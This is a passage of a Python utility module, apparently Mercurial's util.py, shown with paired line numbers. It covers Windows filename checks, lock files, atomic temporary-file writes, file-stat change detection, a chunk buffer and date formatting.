1249 | 1261 | "filename ends with '\\', which is invalid on Windows" |
|
1250 | 1262 | >>> checkwinfilename("foo\\/bar") |
|
1251 | 1263 | "directory name ends with '\\', which is invalid on Windows" |
|
1252 | 1264 | ''' |
|
1253 | 1265 | if path.endswith('\\'): |
|
1254 | 1266 | return _("filename ends with '\\', which is invalid on Windows") |
|
1255 | 1267 | if '\\/' in path: |
|
1256 | 1268 | return _("directory name ends with '\\', which is invalid on Windows") |
|
1257 | 1269 | for n in path.replace('\\', '/').split('/'): |
|
1258 | 1270 | if not n: |
|
1259 | 1271 | continue |
|
1260 | 1272 | for c in _filenamebytestr(n): |
|
1261 | 1273 | if c in _winreservedchars: |
|
1262 | 1274 | return _("filename contains '%s', which is reserved " |
|
1263 | 1275 | "on Windows") % c |
|
1264 | 1276 | if ord(c) <= 31: |
|
1265 | 1277 | return _("filename contains %r, which is invalid " |
|
1266 | 1278 | "on Windows") % c |
|
1267 | 1279 | base = n.split('.')[0] |
|
1268 | 1280 | if base and base.lower() in _winreservednames: |
|
1269 | 1281 | return _("filename contains '%s', which is reserved " |
|
1270 | 1282 | "on Windows") % base |
|
1271 | 1283 | t = n[-1] |
|
1272 | 1284 | if t in '. ' and n not in '..': |
|
1273 | 1285 | return _("filename ends with '%s', which is not allowed " |
|
1274 | 1286 | "on Windows") % t |
|
1275 | 1287 | |
|
1276 | 1288 | if pycompat.osname == 'nt': |
|
1277 | 1289 | checkosfilename = checkwinfilename |
|
1278 | 1290 | timer = time.clock |
|
1279 | 1291 | else: |
|
1280 | 1292 | checkosfilename = platform.checkosfilename |
|
1281 | 1293 | timer = time.time |
|
1282 | 1294 | |
|
1283 | 1295 | if safehasattr(time, "perf_counter"): |
|
1284 | 1296 | timer = time.perf_counter |
|
1285 | 1297 | |
|
1286 | 1298 | def makelock(info, pathname): |
|
1287 | 1299 | try: |
|
1288 | 1300 | return os.symlink(info, pathname) |
|
1289 | 1301 | except OSError as why: |
|
1290 | 1302 | if why.errno == errno.EEXIST: |
|
1291 | 1303 | raise |
|
1292 | 1304 | except AttributeError: # no symlink in os |
|
1293 | 1305 | pass |
|
1294 | 1306 | |
|
1295 | 1307 | ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) |
|
1296 | 1308 | os.write(ld, info) |
|
1297 | 1309 | os.close(ld) |
|
1298 | 1310 | |
|
1299 | 1311 | def readlock(pathname): |
|
1300 | 1312 | try: |
|
1301 | 1313 | return os.readlink(pathname) |
|
1302 | 1314 | except OSError as why: |
|
1303 | 1315 | if why.errno not in (errno.EINVAL, errno.ENOSYS): |
|
1304 | 1316 | raise |
|
1305 | 1317 | except AttributeError: # no symlink in os |
|
1306 | 1318 | pass |
|
1307 | 1319 | fp = posixfile(pathname) |
|
1308 | 1320 | r = fp.read() |
|
1309 | 1321 | fp.close() |
|
1310 | 1322 | return r |
|
1311 | 1323 | |
|
1312 | 1324 | def fstat(fp): |
|
1313 | 1325 | '''stat file object that may not have fileno method.''' |
|
1314 | 1326 | try: |
|
1315 | 1327 | return os.fstat(fp.fileno()) |
|
1316 | 1328 | except AttributeError: |
|
1317 | 1329 | return os.stat(fp.name) |
|
1318 | 1330 | |
|
1319 | 1331 | # File system features |
|
1320 | 1332 | |
|
1321 | 1333 | def fscasesensitive(path): |
|
1322 | 1334 | """ |
|
1323 | 1335 | Return true if the given path is on a case-sensitive filesystem |
|
1324 | 1336 | |
|
1325 | 1337 | Requires a path (like /foo/.hg) ending with a foldable final |
|
1326 | 1338 | directory component. |
|
1327 | 1339 | """ |
|
1328 | 1340 | s1 = os.lstat(path) |
|
1329 | 1341 | d, b = os.path.split(path) |
|
1330 | 1342 | b2 = b.upper() |
|
1331 | 1343 | if b == b2: |
|
1332 | 1344 | b2 = b.lower() |
|
1333 | 1345 | if b == b2: |
|
1334 | 1346 | return True # no evidence against case sensitivity |
|
1335 | 1347 | p2 = os.path.join(d, b2) |
|
1336 | 1348 | try: |
|
1337 | 1349 | s2 = os.lstat(p2) |
|
1338 | 1350 | if s2 == s1: |
|
1339 | 1351 | return False |
|
1340 | 1352 | return True |
|
1341 | 1353 | except OSError: |
|
1342 | 1354 | return True |
|
1343 | 1355 | |
|
1344 | 1356 | try: |
|
1345 | 1357 | import re2 |
|
1346 | 1358 | _re2 = None |
|
1347 | 1359 | except ImportError: |
|
1348 | 1360 | _re2 = False |
|
1349 | 1361 | |
|
1350 | 1362 | class _re(object): |
|
1351 | 1363 | def _checkre2(self): |
|
1352 | 1364 | global _re2 |
|
1353 | 1365 | try: |
|
1354 | 1366 | # check if match works, see issue3964 |
|
1355 | 1367 | _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
|
1356 | 1368 | except ImportError: |
|
1357 | 1369 | _re2 = False |
|
1358 | 1370 | |
|
1359 | 1371 | def compile(self, pat, flags=0): |
|
1360 | 1372 | '''Compile a regular expression, using re2 if possible |
|
1361 | 1373 | |
|
1362 | 1374 | For best performance, use only re2-compatible regexp features. The |
|
1363 | 1375 | only flags from the re module that are re2-compatible are |
|
1364 | 1376 | IGNORECASE and MULTILINE.''' |
|
1365 | 1377 | if _re2 is None: |
|
1366 | 1378 | self._checkre2() |
|
1367 | 1379 | if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
|
1368 | 1380 | if flags & remod.IGNORECASE: |
|
1369 | 1381 | pat = '(?i)' + pat |
|
1370 | 1382 | if flags & remod.MULTILINE: |
|
1371 | 1383 | pat = '(?m)' + pat |
|
1372 | 1384 | try: |
|
1373 | 1385 | return re2.compile(pat) |
|
1374 | 1386 | except re2.error: |
|
1375 | 1387 | pass |
|
1376 | 1388 | return remod.compile(pat, flags) |
|
1377 | 1389 | |
|
1378 | 1390 | @propertycache |
|
1379 | 1391 | def escape(self): |
|
1380 | 1392 | '''Return the version of escape corresponding to self.compile. |
|
1381 | 1393 | |
|
1382 | 1394 | This is imperfect because whether re2 or re is used for a particular |
|
1383 | 1395 | function depends on the flags, etc, but it's the best we can do. |
|
1384 | 1396 | ''' |
|
1385 | 1397 | global _re2 |
|
1386 | 1398 | if _re2 is None: |
|
1387 | 1399 | self._checkre2() |
|
1388 | 1400 | if _re2: |
|
1389 | 1401 | return re2.escape |
|
1390 | 1402 | else: |
|
1391 | 1403 | return remod.escape |
|
1392 | 1404 | |
|
1393 | 1405 | re = _re() |
|
1394 | 1406 | |
|
1395 | 1407 | _fspathcache = {} |
|
1396 | 1408 | def fspath(name, root): |
|
1397 | 1409 | '''Get name in the case stored in the filesystem |
|
1398 | 1410 | |
|
1399 | 1411 | The name should be relative to root, and be normcase-ed for efficiency. |
|
1400 | 1412 | |
|
1401 | 1413 | Note that this function is unnecessary, and should not be |
|
1402 | 1414 | called, for case-sensitive filesystems (simply because it's expensive). |
|
1403 | 1415 | |
|
1404 | 1416 | The root should be normcase-ed, too. |
|
1405 | 1417 | ''' |
|
1406 | 1418 | def _makefspathcacheentry(dir): |
|
1407 | 1419 | return dict((normcase(n), n) for n in os.listdir(dir)) |
|
1408 | 1420 | |
|
1409 | 1421 | seps = pycompat.ossep |
|
1410 | 1422 | if pycompat.osaltsep: |
|
1411 | 1423 | seps = seps + pycompat.osaltsep |
|
1412 | 1424 | # Protect backslashes. This gets silly very quickly. |
|
1413 | 1425 | seps.replace('\\','\\\\') |
|
1414 | 1426 | pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
|
1415 | 1427 | dir = os.path.normpath(root) |
|
1416 | 1428 | result = [] |
|
1417 | 1429 | for part, sep in pattern.findall(name): |
|
1418 | 1430 | if sep: |
|
1419 | 1431 | result.append(sep) |
|
1420 | 1432 | continue |
|
1421 | 1433 | |
|
1422 | 1434 | if dir not in _fspathcache: |
|
1423 | 1435 | _fspathcache[dir] = _makefspathcacheentry(dir) |
|
1424 | 1436 | contents = _fspathcache[dir] |
|
1425 | 1437 | |
|
1426 | 1438 | found = contents.get(part) |
|
1427 | 1439 | if not found: |
|
1428 | 1440 | # retry "once per directory" per "dirstate.walk" which |
|
1429 | 1441 | # may take place for each patches of "hg qpush", for example |
|
1430 | 1442 | _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
|
1431 | 1443 | found = contents.get(part) |
|
1432 | 1444 | |
|
1433 | 1445 | result.append(found or part) |
|
1434 | 1446 | dir = os.path.join(dir, part) |
|
1435 | 1447 | |
|
1436 | 1448 | return ''.join(result) |
|
1437 | 1449 | |
|
1438 | 1450 | def getfstype(dirpath): |
|
1439 | 1451 | '''Get the filesystem type name from a directory (best-effort) |
|
1440 | 1452 | |
|
1441 | 1453 | Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc. |
|
1442 | 1454 | ''' |
|
1443 | 1455 | return getattr(osutil, 'getfstype', lambda x: None)(dirpath) |
|
1444 | 1456 | |
|
1445 | 1457 | def checknlink(testfile): |
|
1446 | 1458 | '''check whether hardlink count reporting works properly''' |
|
1447 | 1459 | |
|
1448 | 1460 | # testfile may be open, so we need a separate file for checking to |
|
1449 | 1461 | # work around issue2543 (or testfile may get lost on Samba shares) |
|
1450 | 1462 | f1 = testfile + ".hgtmp1" |
|
1451 | 1463 | if os.path.lexists(f1): |
|
1452 | 1464 | return False |
|
1453 | 1465 | try: |
|
1454 | 1466 | posixfile(f1, 'w').close() |
|
1455 | 1467 | except IOError: |
|
1456 | 1468 | try: |
|
1457 | 1469 | os.unlink(f1) |
|
1458 | 1470 | except OSError: |
|
1459 | 1471 | pass |
|
1460 | 1472 | return False |
|
1461 | 1473 | |
|
1462 | 1474 | f2 = testfile + ".hgtmp2" |
|
1463 | 1475 | fd = None |
|
1464 | 1476 | try: |
|
1465 | 1477 | oslink(f1, f2) |
|
1466 | 1478 | # nlinks() may behave differently for files on Windows shares if |
|
1467 | 1479 | # the file is open. |
|
1468 | 1480 | fd = posixfile(f2) |
|
1469 | 1481 | return nlinks(f2) > 1 |
|
1470 | 1482 | except OSError: |
|
1471 | 1483 | return False |
|
1472 | 1484 | finally: |
|
1473 | 1485 | if fd is not None: |
|
1474 | 1486 | fd.close() |
|
1475 | 1487 | for f in (f1, f2): |
|
1476 | 1488 | try: |
|
1477 | 1489 | os.unlink(f) |
|
1478 | 1490 | except OSError: |
|
1479 | 1491 | pass |
|
1480 | 1492 | |
|
1481 | 1493 | def endswithsep(path): |
|
1482 | 1494 | '''Check path ends with os.sep or os.altsep.''' |
|
1483 | 1495 | return (path.endswith(pycompat.ossep) |
|
1484 | 1496 | or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
|
1485 | 1497 | |
|
1486 | 1498 | def splitpath(path): |
|
1487 | 1499 | '''Split path by os.sep. |
|
1488 | 1500 | Note that this function does not use os.altsep because this is |
|
1489 | 1501 | an alternative of simple "xxx.split(os.sep)". |
|
1490 | 1502 | It is recommended to use os.path.normpath() before using this |
|
1491 | 1503 | function if need.''' |
|
1492 | 1504 | return path.split(pycompat.ossep) |
|
1493 | 1505 | |
|
1494 | 1506 | def gui(): |
|
1495 | 1507 | '''Are we running in a GUI?''' |
|
1496 | 1508 | if pycompat.sysplatform == 'darwin': |
|
1497 | 1509 | if 'SSH_CONNECTION' in encoding.environ: |
|
1498 | 1510 | # handle SSH access to a box where the user is logged in |
|
1499 | 1511 | return False |
|
1500 | 1512 | elif getattr(osutil, 'isgui', None): |
|
1501 | 1513 | # check if a CoreGraphics session is available |
|
1502 | 1514 | return osutil.isgui() |
|
1503 | 1515 | else: |
|
1504 | 1516 | # pure build; use a safe default |
|
1505 | 1517 | return True |
|
1506 | 1518 | else: |
|
1507 | 1519 | return pycompat.osname == "nt" or encoding.environ.get("DISPLAY") |
|
1508 | 1520 | |
|
1509 | 1521 | def mktempcopy(name, emptyok=False, createmode=None): |
|
1510 | 1522 | """Create a temporary file with the same contents from name |
|
1511 | 1523 | |
|
1512 | 1524 | The permission bits are copied from the original file. |
|
1513 | 1525 | |
|
1514 | 1526 | If the temporary file is going to be truncated immediately, you |
|
1515 | 1527 | can use emptyok=True as an optimization. |
|
1516 | 1528 | |
|
1517 | 1529 | Returns the name of the temporary file. |
|
1518 | 1530 | """ |
|
1519 | 1531 | d, fn = os.path.split(name) |
|
1520 | 1532 | fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d) |
|
1521 | 1533 | os.close(fd) |
|
1522 | 1534 | # Temporary files are created with mode 0600, which is usually not |
|
1523 | 1535 | # what we want. If the original file already exists, just copy |
|
1524 | 1536 | # its mode. Otherwise, manually obey umask. |
|
1525 | 1537 | copymode(name, temp, createmode) |
|
1526 | 1538 | if emptyok: |
|
1527 | 1539 | return temp |
|
1528 | 1540 | try: |
|
1529 | 1541 | try: |
|
1530 | 1542 | ifp = posixfile(name, "rb") |
|
1531 | 1543 | except IOError as inst: |
|
1532 | 1544 | if inst.errno == errno.ENOENT: |
|
1533 | 1545 | return temp |
|
1534 | 1546 | if not getattr(inst, 'filename', None): |
|
1535 | 1547 | inst.filename = name |
|
1536 | 1548 | raise |
|
1537 | 1549 | ofp = posixfile(temp, "wb") |
|
1538 | 1550 | for chunk in filechunkiter(ifp): |
|
1539 | 1551 | ofp.write(chunk) |
|
1540 | 1552 | ifp.close() |
|
1541 | 1553 | ofp.close() |
|
1542 | 1554 | except: # re-raises |
|
1543 | 1555 | try: os.unlink(temp) |
|
1544 | 1556 | except OSError: pass |
|
1545 | 1557 | raise |
|
1546 | 1558 | return temp |
|
1547 | 1559 | |
|
1548 | 1560 | class filestat(object): |
|
1549 | 1561 | """help to exactly detect change of a file |
|
1550 | 1562 | |
|
1551 | 1563 | 'stat' attribute is result of 'os.stat()' if specified 'path' |
|
1552 | 1564 | exists. Otherwise, it is None. This can avoid preparative |
|
1553 | 1565 | 'exists()' examination on client side of this class. |
|
1554 | 1566 | """ |
|
1555 | 1567 | def __init__(self, stat): |
|
1556 | 1568 | self.stat = stat |
|
1557 | 1569 | |
|
1558 | 1570 | @classmethod |
|
1559 | 1571 | def frompath(cls, path): |
|
1560 | 1572 | try: |
|
1561 | 1573 | stat = os.stat(path) |
|
1562 | 1574 | except OSError as err: |
|
1563 | 1575 | if err.errno != errno.ENOENT: |
|
1564 | 1576 | raise |
|
1565 | 1577 | stat = None |
|
1566 | 1578 | return cls(stat) |
|
1567 | 1579 | |
|
1568 | 1580 | @classmethod |
|
1569 | 1581 | def fromfp(cls, fp): |
|
1570 | 1582 | stat = os.fstat(fp.fileno()) |
|
1571 | 1583 | return cls(stat) |
|
1572 | 1584 | |
|
1573 | 1585 | __hash__ = object.__hash__ |
|
1574 | 1586 | |
|
1575 | 1587 | def __eq__(self, old): |
|
1576 | 1588 | try: |
|
1577 | 1589 | # if ambiguity between stat of new and old file is |
|
1578 | 1590 | # avoided, comparison of size, ctime and mtime is enough |
|
1579 | 1591 | # to exactly detect change of a file regardless of platform |
|
1580 | 1592 | return (self.stat.st_size == old.stat.st_size and |
|
1581 | 1593 | self.stat.st_ctime == old.stat.st_ctime and |
|
1582 | 1594 | self.stat.st_mtime == old.stat.st_mtime) |
|
1583 | 1595 | except AttributeError: |
|
1584 | 1596 | pass |
|
1585 | 1597 | try: |
|
1586 | 1598 | return self.stat is None and old.stat is None |
|
1587 | 1599 | except AttributeError: |
|
1588 | 1600 | return False |
|
1589 | 1601 | |
|
1590 | 1602 | def isambig(self, old): |
|
1591 | 1603 | """Examine whether new (= self) stat is ambiguous against old one |
|
1592 | 1604 | |
|
1593 | 1605 | "S[N]" below means stat of a file at N-th change: |
|
1594 | 1606 | |
|
1595 | 1607 | - S[n-1].ctime < S[n].ctime: can detect change of a file |
|
1596 | 1608 | - S[n-1].ctime == S[n].ctime |
|
1597 | 1609 | - S[n-1].ctime < S[n].mtime: means natural advancing (*1) |
|
1598 | 1610 | - S[n-1].ctime == S[n].mtime: is ambiguous (*2) |
|
1599 | 1611 | - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care) |
|
1600 | 1612 | - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care) |
|
1601 | 1613 | |
|
1602 | 1614 | Case (*2) above means that a file was changed twice or more at |
|
1603 | 1615 | same time in sec (= S[n-1].ctime), and comparison of timestamp |
|
1604 | 1616 | is ambiguous. |
|
1605 | 1617 | |
|
1606 | 1618 | Base idea to avoid such ambiguity is "advance mtime 1 sec, if |
|
1607 | 1619 | timestamp is ambiguous". |
|
1608 | 1620 | |
|
1609 | 1621 | But advancing mtime only in case (*2) doesn't work as |
|
1610 | 1622 | expected, because naturally advanced S[n].mtime in case (*1) |
|
1611 | 1623 | might be equal to manually advanced S[n-1 or earlier].mtime. |
|
1612 | 1624 | |
|
1613 | 1625 | Therefore, all "S[n-1].ctime == S[n].ctime" cases should be |
|
1614 | 1626 | treated as ambiguous regardless of mtime, to avoid overlooking |
|
1615 | 1627 | by confliction between such mtime. |
|
1616 | 1628 | |
|
1617 | 1629 | Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime != |
|
1618 | 1630 | S[n].mtime", even if size of a file isn't changed. |
|
1619 | 1631 | """ |
|
1620 | 1632 | try: |
|
1621 | 1633 | return (self.stat.st_ctime == old.stat.st_ctime) |
|
1622 | 1634 | except AttributeError: |
|
1623 | 1635 | return False |
|
1624 | 1636 | |
|
1625 | 1637 | def avoidambig(self, path, old): |
|
1626 | 1638 | """Change file stat of specified path to avoid ambiguity |
|
1627 | 1639 | |
|
1628 | 1640 | 'old' should be previous filestat of 'path'. |
|
1629 | 1641 | |
|
1630 | 1642 | This skips avoiding ambiguity, if a process doesn't have |
|
1631 | 1643 | appropriate privileges for 'path'. This returns False in this |
|
1632 | 1644 | case. |
|
1633 | 1645 | |
|
1634 | 1646 | Otherwise, this returns True, as "ambiguity is avoided". |
|
1635 | 1647 | """ |
|
1636 | 1648 | advanced = (old.stat.st_mtime + 1) & 0x7fffffff |
|
1637 | 1649 | try: |
|
1638 | 1650 | os.utime(path, (advanced, advanced)) |
|
1639 | 1651 | except OSError as inst: |
|
1640 | 1652 | if inst.errno == errno.EPERM: |
|
1641 | 1653 | # utime() on the file created by another user causes EPERM, |
|
1642 | 1654 | # if a process doesn't have appropriate privileges |
|
1643 | 1655 | return False |
|
1644 | 1656 | raise |
|
1645 | 1657 | return True |
|
1646 | 1658 | |
|
1647 | 1659 | def __ne__(self, other): |
|
1648 | 1660 | return not self == other |
|
1649 | 1661 | |
|
1650 | 1662 | class atomictempfile(object): |
|
1651 | 1663 | '''writable file object that atomically updates a file |
|
1652 | 1664 | |
|
1653 | 1665 | All writes will go to a temporary copy of the original file. Call |
|
1654 | 1666 | close() when you are done writing, and atomictempfile will rename |
|
1655 | 1667 | the temporary copy to the original name, making the changes |
|
1656 | 1668 | visible. If the object is destroyed without being closed, all your |
|
1657 | 1669 | writes are discarded. |
|
1658 | 1670 | |
|
1659 | 1671 | checkambig argument of constructor is used with filestat, and is |
|
1660 | 1672 | useful only if target file is guarded by any lock (e.g. repo.lock |
|
1661 | 1673 | or repo.wlock). |
|
1662 | 1674 | ''' |
|
1663 | 1675 | def __init__(self, name, mode='w+b', createmode=None, checkambig=False): |
|
1664 | 1676 | self.__name = name # permanent name |
|
1665 | 1677 | self._tempname = mktempcopy(name, emptyok=('w' in mode), |
|
1666 | 1678 | createmode=createmode) |
|
1667 | 1679 | self._fp = posixfile(self._tempname, mode) |
|
1668 | 1680 | self._checkambig = checkambig |
|
1669 | 1681 | |
|
1670 | 1682 | # delegated methods |
|
1671 | 1683 | self.read = self._fp.read |
|
1672 | 1684 | self.write = self._fp.write |
|
1673 | 1685 | self.seek = self._fp.seek |
|
1674 | 1686 | self.tell = self._fp.tell |
|
1675 | 1687 | self.fileno = self._fp.fileno |
|
1676 | 1688 | |
|
1677 | 1689 | def close(self): |
|
1678 | 1690 | if not self._fp.closed: |
|
1679 | 1691 | self._fp.close() |
|
1680 | 1692 | filename = localpath(self.__name) |
|
1681 | 1693 | oldstat = self._checkambig and filestat.frompath(filename) |
|
1682 | 1694 | if oldstat and oldstat.stat: |
|
1683 | 1695 | rename(self._tempname, filename) |
|
1684 | 1696 | newstat = filestat.frompath(filename) |
|
1685 | 1697 | if newstat.isambig(oldstat): |
|
1686 | 1698 | # stat of changed file is ambiguous to original one |
|
1687 | 1699 | advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff |
|
1688 | 1700 | os.utime(filename, (advanced, advanced)) |
|
1689 | 1701 | else: |
|
1690 | 1702 | rename(self._tempname, filename) |
|
1691 | 1703 | |
|
1692 | 1704 | def discard(self): |
|
1693 | 1705 | if not self._fp.closed: |
|
1694 | 1706 | try: |
|
1695 | 1707 | os.unlink(self._tempname) |
|
1696 | 1708 | except OSError: |
|
1697 | 1709 | pass |
|
1698 | 1710 | self._fp.close() |
|
1699 | 1711 | |
|
1700 | 1712 | def __del__(self): |
|
1701 | 1713 | if safehasattr(self, '_fp'): # constructor actually did something |
|
1702 | 1714 | self.discard() |
|
1703 | 1715 | |
|
1704 | 1716 | def __enter__(self): |
|
1705 | 1717 | return self |
|
1706 | 1718 | |
|
1707 | 1719 | def __exit__(self, exctype, excvalue, traceback): |
|
1708 | 1720 | if exctype is not None: |
|
1709 | 1721 | self.discard() |
|
1710 | 1722 | else: |
|
1711 | 1723 | self.close() |
|
1712 | 1724 | |
|
1713 | 1725 | def unlinkpath(f, ignoremissing=False): |
|
1714 | 1726 | """unlink and remove the directory if it is empty""" |
|
1715 | 1727 | if ignoremissing: |
|
1716 | 1728 | tryunlink(f) |
|
1717 | 1729 | else: |
|
1718 | 1730 | unlink(f) |
|
1719 | 1731 | # try removing directories that might now be empty |
|
1720 | 1732 | try: |
|
1721 | 1733 | removedirs(os.path.dirname(f)) |
|
1722 | 1734 | except OSError: |
|
1723 | 1735 | pass |
|
1724 | 1736 | |
|
1725 | 1737 | def tryunlink(f): |
|
1726 | 1738 | """Attempt to remove a file, ignoring ENOENT errors.""" |
|
1727 | 1739 | try: |
|
1728 | 1740 | unlink(f) |
|
1729 | 1741 | except OSError as e: |
|
1730 | 1742 | if e.errno != errno.ENOENT: |
|
1731 | 1743 | raise |
|
1732 | 1744 | |
|
1733 | 1745 | def makedirs(name, mode=None, notindexed=False): |
|
1734 | 1746 | """recursive directory creation with parent mode inheritance |
|
1735 | 1747 | |
|
1736 | 1748 | Newly created directories are marked as "not to be indexed by |
|
1737 | 1749 | the content indexing service", if ``notindexed`` is specified |
|
1738 | 1750 | for "write" mode access. |
|
1739 | 1751 | """ |
|
1740 | 1752 | try: |
|
1741 | 1753 | makedir(name, notindexed) |
|
1742 | 1754 | except OSError as err: |
|
1743 | 1755 | if err.errno == errno.EEXIST: |
|
1744 | 1756 | return |
|
1745 | 1757 | if err.errno != errno.ENOENT or not name: |
|
1746 | 1758 | raise |
|
1747 | 1759 | parent = os.path.dirname(os.path.abspath(name)) |
|
1748 | 1760 | if parent == name: |
|
1749 | 1761 | raise |
|
1750 | 1762 | makedirs(parent, mode, notindexed) |
|
1751 | 1763 | try: |
|
1752 | 1764 | makedir(name, notindexed) |
|
1753 | 1765 | except OSError as err: |
|
1754 | 1766 | # Catch EEXIST to handle races |
|
1755 | 1767 | if err.errno == errno.EEXIST: |
|
1756 | 1768 | return |
|
1757 | 1769 | raise |
|
1758 | 1770 | if mode is not None: |
|
1759 | 1771 | os.chmod(name, mode) |
|
1760 | 1772 | |
|
1761 | 1773 | def readfile(path): |
|
1762 | 1774 | with open(path, 'rb') as fp: |
|
1763 | 1775 | return fp.read() |
|
1764 | 1776 | |
|
1765 | 1777 | def writefile(path, text): |
|
1766 | 1778 | with open(path, 'wb') as fp: |
|
1767 | 1779 | fp.write(text) |
|
1768 | 1780 | |
|
1769 | 1781 | def appendfile(path, text): |
|
1770 | 1782 | with open(path, 'ab') as fp: |
|
1771 | 1783 | fp.write(text) |
|
1772 | 1784 | |
|
1773 | 1785 | class chunkbuffer(object): |
|
1774 | 1786 | """Allow arbitrary sized chunks of data to be efficiently read from an |
|
1775 | 1787 | iterator over chunks of arbitrary size.""" |
|
1776 | 1788 | |
|
1777 | 1789 | def __init__(self, in_iter): |
|
1778 | 1790 | """in_iter is the iterator that's iterating over the input chunks.""" |
|
1779 | 1791 | def splitbig(chunks): |
|
1780 | 1792 | for chunk in chunks: |
|
1781 | 1793 | if len(chunk) > 2**20: |
|
1782 | 1794 | pos = 0 |
|
1783 | 1795 | while pos < len(chunk): |
|
1784 | 1796 | end = pos + 2 ** 18 |
|
1785 | 1797 | yield chunk[pos:end] |
|
1786 | 1798 | pos = end |
|
1787 | 1799 | else: |
|
1788 | 1800 | yield chunk |
|
1789 | 1801 | self.iter = splitbig(in_iter) |
|
1790 | 1802 | self._queue = collections.deque() |
|
1791 | 1803 | self._chunkoffset = 0 |
|
1792 | 1804 | |
|
1793 | 1805 | def read(self, l=None): |
|
1794 | 1806 | """Read L bytes of data from the iterator of chunks of data. |
|
1795 | 1807 | Returns less than L bytes if the iterator runs dry. |
|
1796 | 1808 | |
|
1797 | 1809 | If size parameter is omitted, read everything""" |
|
1798 | 1810 | if l is None: |
|
1799 | 1811 | return ''.join(self.iter) |
|
1800 | 1812 | |
|
1801 | 1813 | left = l |
|
1802 | 1814 | buf = [] |
|
1803 | 1815 | queue = self._queue |
|
1804 | 1816 | while left > 0: |
|
1805 | 1817 | # refill the queue |
|
1806 | 1818 | if not queue: |
|
1807 | 1819 | target = 2**18 |
|
1808 | 1820 | for chunk in self.iter: |
|
1809 | 1821 | queue.append(chunk) |
|
1810 | 1822 | target -= len(chunk) |
|
1811 | 1823 | if target <= 0: |
|
1812 | 1824 | break |
|
1813 | 1825 | if not queue: |
|
1814 | 1826 | break |
|
1815 | 1827 | |
|
1816 | 1828 | # The easy way to do this would be to queue.popleft(), modify the |
|
1817 | 1829 | # chunk (if necessary), then queue.appendleft(). However, for cases |
|
1818 | 1830 | # where we read partial chunk content, this incurs 2 dequeue |
|
1819 | 1831 | # mutations and creates a new str for the remaining chunk in the |
|
1820 | 1832 | # queue. Our code below avoids this overhead. |
|
1821 | 1833 | |
|
1822 | 1834 | chunk = queue[0] |
|
1823 | 1835 | chunkl = len(chunk) |
|
1824 | 1836 | offset = self._chunkoffset |
|
1825 | 1837 | |
|
1826 | 1838 | # Use full chunk. |
|
1827 | 1839 | if offset == 0 and left >= chunkl: |
|
1828 | 1840 | left -= chunkl |
|
1829 | 1841 | queue.popleft() |
|
1830 | 1842 | buf.append(chunk) |
|
1831 | 1843 | # self._chunkoffset remains at 0. |
|
1832 | 1844 | continue |
|
1833 | 1845 | |
|
1834 | 1846 | chunkremaining = chunkl - offset |
|
1835 | 1847 | |
|
1836 | 1848 | # Use all of unconsumed part of chunk. |
|
1837 | 1849 | if left >= chunkremaining: |
|
1838 | 1850 | left -= chunkremaining |
|
1839 | 1851 | queue.popleft() |
|
1840 | 1852 | # offset == 0 is enabled by block above, so this won't merely |
|
1841 | 1853 | # copy via ``chunk[0:]``. |
|
1842 | 1854 | buf.append(chunk[offset:]) |
|
1843 | 1855 | self._chunkoffset = 0 |
|
1844 | 1856 | |
|
1845 | 1857 | # Partial chunk needed. |
|
1846 | 1858 | else: |
|
1847 | 1859 | buf.append(chunk[offset:offset + left]) |
|
1848 | 1860 | self._chunkoffset += left |
|
1849 | 1861 | left -= chunkremaining |
|
1850 | 1862 | |
|
1851 | 1863 | return ''.join(buf) |
|
1852 | 1864 | |
|
1853 | 1865 | def filechunkiter(f, size=131072, limit=None): |
|
1854 | 1866 | """Create a generator that produces the data in the file size |
|
1855 | 1867 | (default 131072) bytes at a time, up to optional limit (default is |
|
1856 | 1868 | to read all data). Chunks may be less than size bytes if the |
|
1857 | 1869 | chunk is the last chunk in the file, or the file is a socket or |
|
1858 | 1870 | some other type of file that sometimes reads less data than is |
|
1859 | 1871 | requested.""" |
|
1860 | 1872 | assert size >= 0 |
|
1861 | 1873 | assert limit is None or limit >= 0 |
|
1862 | 1874 | while True: |
|
1863 | 1875 | if limit is None: |
|
1864 | 1876 | nbytes = size |
|
1865 | 1877 | else: |
|
1866 | 1878 | nbytes = min(limit, size) |
|
1867 | 1879 | s = nbytes and f.read(nbytes) |
|
1868 | 1880 | if not s: |
|
1869 | 1881 | break |
|
1870 | 1882 | if limit: |
|
1871 | 1883 | limit -= len(s) |
|
1872 | 1884 | yield s |
|
1873 | 1885 | |
|
1874 | 1886 | def makedate(timestamp=None): |
|
1875 | 1887 | '''Return a unix timestamp (or the current time) as a (unixtime, |
|
1876 | 1888 | offset) tuple based off the local timezone.''' |
|
1877 | 1889 | if timestamp is None: |
|
1878 | 1890 | timestamp = time.time() |
|
1879 | 1891 | if timestamp < 0: |
|
1880 | 1892 | hint = _("check your clock") |
|
1881 | 1893 | raise Abort(_("negative timestamp: %d") % timestamp, hint=hint) |
|
1882 | 1894 | delta = (datetime.datetime.utcfromtimestamp(timestamp) - |
|
1883 | 1895 | datetime.datetime.fromtimestamp(timestamp)) |
|
1884 | 1896 | tz = delta.days * 86400 + delta.seconds |
|
1885 | 1897 | return timestamp, tz |
|
1886 | 1898 | |
|
1887 | 1899 | def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'): |
|
1888 | 1900 | """represent a (unixtime, offset) tuple as a localized time. |
|
1889 | 1901 | unixtime is seconds since the epoch, and offset is the time zone's |
|
1890 | 1902 | number of seconds away from UTC. |
|
1891 | 1903 | |
|
1892 | 1904 | >>> datestr((0, 0)) |
|
1893 | 1905 | 'Thu Jan 01 00:00:00 1970 +0000' |
|
1894 | 1906 | >>> datestr((42, 0)) |
|
1895 | 1907 | 'Thu Jan 01 00:00:42 1970 +0000' |
|
1896 | 1908 | >>> datestr((-42, 0)) |
|
1897 | 1909 | 'Wed Dec 31 23:59:18 1969 +0000' |
|
